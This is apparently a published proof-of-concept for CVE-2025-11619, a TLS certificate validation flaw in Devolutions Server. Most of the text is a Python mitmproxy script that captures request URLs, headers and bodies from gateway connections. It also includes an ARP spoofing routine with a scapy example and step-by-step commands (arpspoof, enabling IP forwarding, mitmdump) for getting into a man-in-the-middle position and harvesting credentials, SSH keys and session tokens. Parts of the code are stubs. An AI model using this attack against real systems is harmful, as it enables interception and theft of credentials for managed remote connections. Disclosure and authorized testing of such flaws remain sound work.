Improper certificate validation when connecting to gateways in Devolutions Server 2025.3.2 and earlier allows attackers in MitM position to intercept traffic.
The following code is for security research and authorized testing only.
python
# CVE-2025-11619 - Devolutions Server Improper Certificate Validation PoC
# This PoC demonstrates a Man-in-the-Middle attack exploiting
# the lack of proper TLS certificate validation when Devolutions Server
# connects to its Gateway component.
# Requirements:
# - mitmproxy or similar TLS interception tool
# - Network position to intercept traffic (ARP spoofing / DNS poisoning)
# - Python 3.x
#!/usr/bin/env python3
"""
PoC for CVE-2025-11619: Improper Certificate Validation in Devolutions Server
Demonstrates how a MitM attacker can intercept gateway connections because
the server does not properly validate TLS certificates.
"""
from mitmproxy import http, ctx
from mitmproxy.options import Options
from mitmproxy.proxy.config import ProxyConfig
import ssl
import socket
# Step 1: Generate a self-signed certificate for the gateway hostname
# This simulates what an attacker would do to intercept TLS traffic
def generate_fake_cert():
"""
In a real attack scenario, the attacker would use a tool like
mitmproxy, Bettercap, or Ettercap to dynamically generate
certificates for the target hostname (gateway hostname).
"""
# mitmproxy's CA cert is automatically trusted by mitmproxy itself
# The Devolutions Server client fails to validate properly,
# so it accepts these forged certificates
pass
# Step 2: ARP Spoofing to get into MitM position
def arp_spoof(target_ip, gateway_ip, interface="eth0"):
"""
Use arpspoof or scapy to poison ARP caches and intercept traffic.
Example with scapy:
from scapy.all import *
send(ARP(op=2, pdst=target_ip, psrc=gateway_ip), iface=interface)
"""
print(f"[*] Performing ARP spoofing between {target_ip} and {gateway_ip}")
print("[*] Attacker is now in Man-in-the-Middle position")
# Step 3: Intercept and capture credentials from Devolutions Server traffic
class DevolutionsInterceptor:
def __init__(self):
self.captured_data = []
def response(self, flow: http.HTTPFlow) -> None:
"""
Intercept HTTP/HTTPS responses from Devolutions Gateway.
Extract sensitive data such as credentials, session tokens.
"""
# Look for Devolutions Server API endpoints
if "/api/" in flow.request.pretty_url:
print(f"[+] Intercepted Devolutions API call: {flow.request.pretty_url}")
print(f"[+] Request headers: {dict(flow.request.headers)}")
if flow.request.content:
print(f"[+] Request body: {flow.request.content[:500]}")
self.captured_data.append({
"url": flow.request.pretty_url,
"method": flow.request.method,
"headers": dict(flow.request.headers),
"body": flow.request.content[:1000] if flow.request.content else None
})
def running(self):
print("[*] MitM proxy started - intercepting Devolutions Server traffic")
print("[*] Waiting for Devolutions Server to connect to Gateway...")
# Step 4: Main execution - run mitmproxy with Devolutions traffic interception
if __name__ == "__main__":
print("=" * 60)
print("CVE-2025-11619 PoC - Devolutions Server MitM Attack")
print("=" * 60)
# Configure mitmproxy to intercept all HTTPS traffic
# mitmproxy will present forged certificates that should be rejected
# by proper validation, but Devolutions Server < 2025.3.3 accepts them
options = Options(
listen_host="0.0.0.0",
listen_port=8080,
ssl_insecure=True, # This is the attacker side - no cert validation needed
mode=["transparent"]
)
# Start ARP spoofing to redirect traffic through our proxy
# arp_spoof("<devolutions_server_ip>", "<gateway_ip>")
print("[*] Run: mitmdump -s devolutions_interceptor.py --mode transparent")
print("[*] When Devolutions Server connects to Gateway, traffic will be intercepted")
print("[*] Captured credentials and session data will be displayed above")
# Usage:
# 1. Set up ARP spoofing: arpspoof -i eth0 -t <target> <gateway>
# 2. Enable IP forwarding: echo 1 > /proc/sys/net/ipv4/ip_forward
# 3. Run mitmproxy: mitmdump -s this_script.py
# 4. Wait for Devolutions Server to connect to Gateway
# 5. Intercepted credentials will be captured
# Impact:
# - Credential theft (remote desktop passwords, SSH keys, database credentials)
# - Session hijacking
# - Data tampering (inject malicious responses)
# - Full compromise of managed remote connections